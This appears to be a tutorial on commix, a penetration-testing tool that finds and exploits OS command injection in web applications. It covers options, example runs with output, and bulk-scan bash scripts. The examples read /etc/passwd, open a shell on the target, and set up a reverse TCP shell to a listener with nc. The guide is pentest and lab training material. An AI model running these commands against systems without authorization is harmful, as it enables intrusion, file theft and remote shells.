commix: Automates exploitation of command injection

1. Tool Introduction

Commix (short for Command Injection eXploiter) is an open-source, automated penetration testing tool written in Python, designed to detect and exploit command-injection vulnerabilities in web applications. Created by Anastasios Stasinopoulos, Commix automates the tedious process of crafting injection payloads, identifying the correct injection technique (classic, blind, time-based, file-based), bypassing basic filters/WAFs, and ultimately delivering an interactive OS shell on the target through the vulnerable parameter. It is comparable in spirit to SQLMap, but focused entirely on OS command injection rather than SQL injection.

2. How to Install

# Preinstalled on Kali, but to (re)install:
sudo apt update
sudo apt install commix -y

# Verify installation
commix --version

Manual installation from source:

git clone https://github.com/commixproject/commix.git commix
cd commix
python3 commix.py --help

3. Syntax

commix [options]

Commix requires you to specify a target (via -u, -r, -l, or similar) plus any injection tuning flags.

4. Command-Line Options (Kali Linux)

Target specification:

Option	Description
-u, --url <URL>	Target URL
-r <file>	Load HTTP request from a saved file (Burp-style request)
-l <file>	Parse target(s) from a log file (e.g., Burp/WebScarab log)
--crawl <depth>	Crawl the target site up to a given depth to find injectable parameters
-m <file>	Bulk-run against a file containing multiple target URLs
--sitemap-url <URL>	Parse target(s) from a sitemap.xml file
--google-dork <dork>	Use a Google dork to gather target URLs

Request options:

Option	Description
--data <data>	Data string sent via POST
--cookie <cookie>	HTTP Cookie header value
--headers <headers>	Extra headers, one per line
--user-agent <UA>	Custom User-Agent string
--referer <URL>	Custom Referer header
--proxy <proxy>	Use a proxy (e.g., http://127.0.0.1:8080)
--auth-type <type>	HTTP authentication type (Basic/Digest/NTLM)
--auth-cred <user:pass>	HTTP authentication credentials
--random-agent	Use a randomly-selected User-Agent
--host <host>	Manually set Host header
--tor	Route traffic through Tor

Injection/Detection options:

Option	Description
--technique <T>	Restrict to specific technique(s): c (classic), e (eval-based), t (time-based), f (file-based)
-p <param>	Testable parameter(s)
--skip <param>	Skip testing specific parameter(s)
--suffix <suffix>	Injection payload suffix
--prefix <prefix>	Injection payload prefix
--delay <seconds>	Delay between HTTP requests
--timeout <seconds>	Request timeout
--time-sec <seconds>	Seconds used for time-based technique payload delay
--base64	Encode payloads in Base64
--maxlen <n>	Max length of the output extraction

Exploitation/Shell options:

Option	Description
--os-cmd <cmd>	Execute a single OS command
--os-shell	Prompt for and open a semi-interactive OS shell
--reverse-tcp	Establish a reverse TCP connection (shell)
--bind-tcp	Establish a bind TCP connection (shell)
--file-write <file>	Write to a file on the target
--file-read <file>	Read a file from the target
--file-upload <src,dst>	Upload a local file to the target
--icmp-exfil	Exfiltrate data via ICMP
--lhost <ip> / --lport <port>	Local host/port for reverse shell

Miscellaneous:

Option	Description
--batch	Non-interactive mode, use default answers
-v <level>	Verbosity level (0–4)
--tmp-path <path>	Custom writable temp path on the target OS
--web-root <path>	Set web root path when known
--identify-waf	Attempt WAF/IPS fingerprinting
--update	Update Commix to the latest revision
-h, --help	Show help

5. Basic Usage (Expected Output in Bash)

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --batch

           ___
  ___ ___ '_ _ _ _ _ _
 |  _| . | '_| | |_| |
 |___|___|_| |_|_|_  |
                |___|  v4.1-stable (https://commixproject.com)

[*] Starting Commix ...
[info] Testing connection to the target URL...
[info] Setting the Content-Type HTTP header to 'application/x-www-form-urlencoded'
[info] Testing parameter 'ip' for injection.
[info] Trying classic injection technique.
[+] Parameter 'ip' seems injectable via classic command injection technique.
[info] Retrieving the number of columns / os command execution...
[+] The 'ip' parameter is vulnerable to OS command injection.

6. Practical Examples with Output

Example 1 – Testing a GET parameter

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --batch
[+] Parameter 'ip' seems injectable via classic command injection technique.

Example 2 – Testing a POST request body

$ commix -u "http://target.local/lookup.php" --data="host=127.0.0.1&submit=Lookup" --batch
[+] Parameter 'host' appears to be injectable.

Example 3 – Loading a raw HTTP request captured from Burp Suite

$ commix -r request.txt --batch
[info] Parsing HTTP request from 'request.txt'.
[+] Parameter 'domain' seems injectable via time-based command injection technique.

Example 4 – Executing a single OS command once injection is confirmed

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --os-cmd="id" --batch
[info] Executing the OS command...
[+] Command 'id' output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Example 5 – Dropping into a semi-interactive OS shell

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --os-shell --batch
[info] Command execution session established.
commix(os_shell) > whoami
www-data
commix(os_shell) > ls -la /var/www/html
total 24
drwxr-xr-x 3 www-data www-data 4096 Jul 19 10:00 .

Example 6 – Time-based blind injection technique restriction

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --technique=t --time-sec=5 --batch
[info] Trying time-based blind injection technique.
[+] Parameter 'ip' seems injectable (time-based, ~5s delay observed).

Example 7 – Establishing a reverse TCP shell

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --reverse-tcp --lhost=10.10.10.100 --lport=4444 --batch
[info] Setting up a reverse TCP connection.
[+] Reverse TCP connection established with target.local!

(In a separate terminal, a listener would have been prepared beforehand: nc -lvnp 4444.)

Example 8 – Reading a file from the target

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --file-read="/etc/passwd" --batch
[info] Retrieving the contents of '/etc/passwd'...
[+] File content:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Example 9 – WAF/IPS fingerprinting before testing

$ commix -u "http://target.local/ping.php?ip=127.0.0.1" --identify-waf --batch
[info] Testing if the target is protected by some kind of WAF/IPS.
[+] No WAF/IPS has been detected.

Example 10 – Crawling a site to auto-discover injectable parameters

$ commix -u "http://target.local/" --crawl=2 --batch
[info] Starting crawler, depth level '2'.
[info] Found a total of 14 targets.
[+] Parameter 'q' at '/search.php' seems injectable via classic command injection technique.

7. Common Use Cases

• Automated detection of OS command injection in network/system diagnostic web forms (ping, traceroute, DNS lookup utilities).
• Escalating a confirmed command injection finding into an interactive shell for proof-of-impact during a web app pentest.
• File read/write primitives to demonstrate data exposure or web shell planting (in scope, authorized engagements).
• Bulk-testing a list of URLs harvested from crawling or a Burp/WebScarab log for injection points across a large web application.
• CTF and lab environments (e.g., DVWA, bWAPP) for practicing command injection identification/exploitation techniques.

8. Automation with Bash

#!/bin/bash
# bulk_commix_scan.sh - Run Commix against a list of candidate URLs

URL_LIST="candidates.txt"    # one URL with injectable param per line
LOG_DIR="./commix_results"
mkdir -p "$LOG_DIR"

while IFS= read -r url; do
  safe_name=$(echo "$url" | md5sum | cut -d' ' -f1)
  echo "[*] Testing: $url"
  commix -u "$url" --batch --output-dir="$LOG_DIR" > "$LOG_DIR/${safe_name}.log" 2>&1
  if grep -q "seems injectable" "$LOG_DIR/${safe_name}.log"; then
    echo "[+] VULNERABLE: $url" | tee -a "$LOG_DIR/vulnerable_summary.txt"
  fi
done < "$URL_LIST"

#!/bin/bash
# commix_from_burp_requests.sh - Replay saved Burp request files through Commix

REQ_DIR="./burp_requests"

for req_file in "$REQ_DIR"/*.txt; do
  echo "=== Testing request file: $req_file ==="
  commix -r "$req_file" --batch --level=3
done

9. Tips and Best Practices

• Start with --batch for unattended scanning, then switch to interactive mode when you need to fine-tune payloads for a confirmed injection point.
• Use -r request.txt (a raw request captured from Burp Suite) for the most accurate reproduction of session cookies, custom headers, and CSRF tokens.
• Try --technique=t (time-based) first on suspected blind injection points where no output is directly reflected.
• Always confirm exploitability with a low-impact command (id, whoami) before attempting file writes or reverse shells.
• Respect the target’s web root/tmp path constraints — use --web-root and --tmp-path when you already know the environment to speed up exploitation.
• Combine Commix findings with manual verification; automated tools can produce false positives from unusual application behavior/timing jitter.

10. Troubleshooting

Problem	Cause	Solution
“Heuristics detected that the target is not injectable”	Parameter genuinely not vulnerable or WAF interference	Try --technique variations, --tamper-style prefixes/suffixes, or a different parameter
Time-based technique unreliable	Network jitter causing false timing reads	Increase --time-sec and add --delay between requests
Reverse shell doesn’t connect back	Firewall/NAT blocking outbound connection, or wrong LHOST/LPORT	Verify listener is running and reachable; try --bind-tcp instead
Tool reports false positive	Application reflects input differently than expected	Manually verify with a controlled test command and inspect raw HTTP response
Crawl finds no parameters	JavaScript-rendered content not parsed by crawler	Manually enumerate parameters or supply a request/log file directly

11. References

• Official project site: https://commixproject.com
• GitHub repository: https://github.com/commixproject/commix
• Kali Linux tool page: https://www.kali.org/tools/commix/
• Commix wiki/usage guide: https://github.com/commixproject/commix/wiki/Usage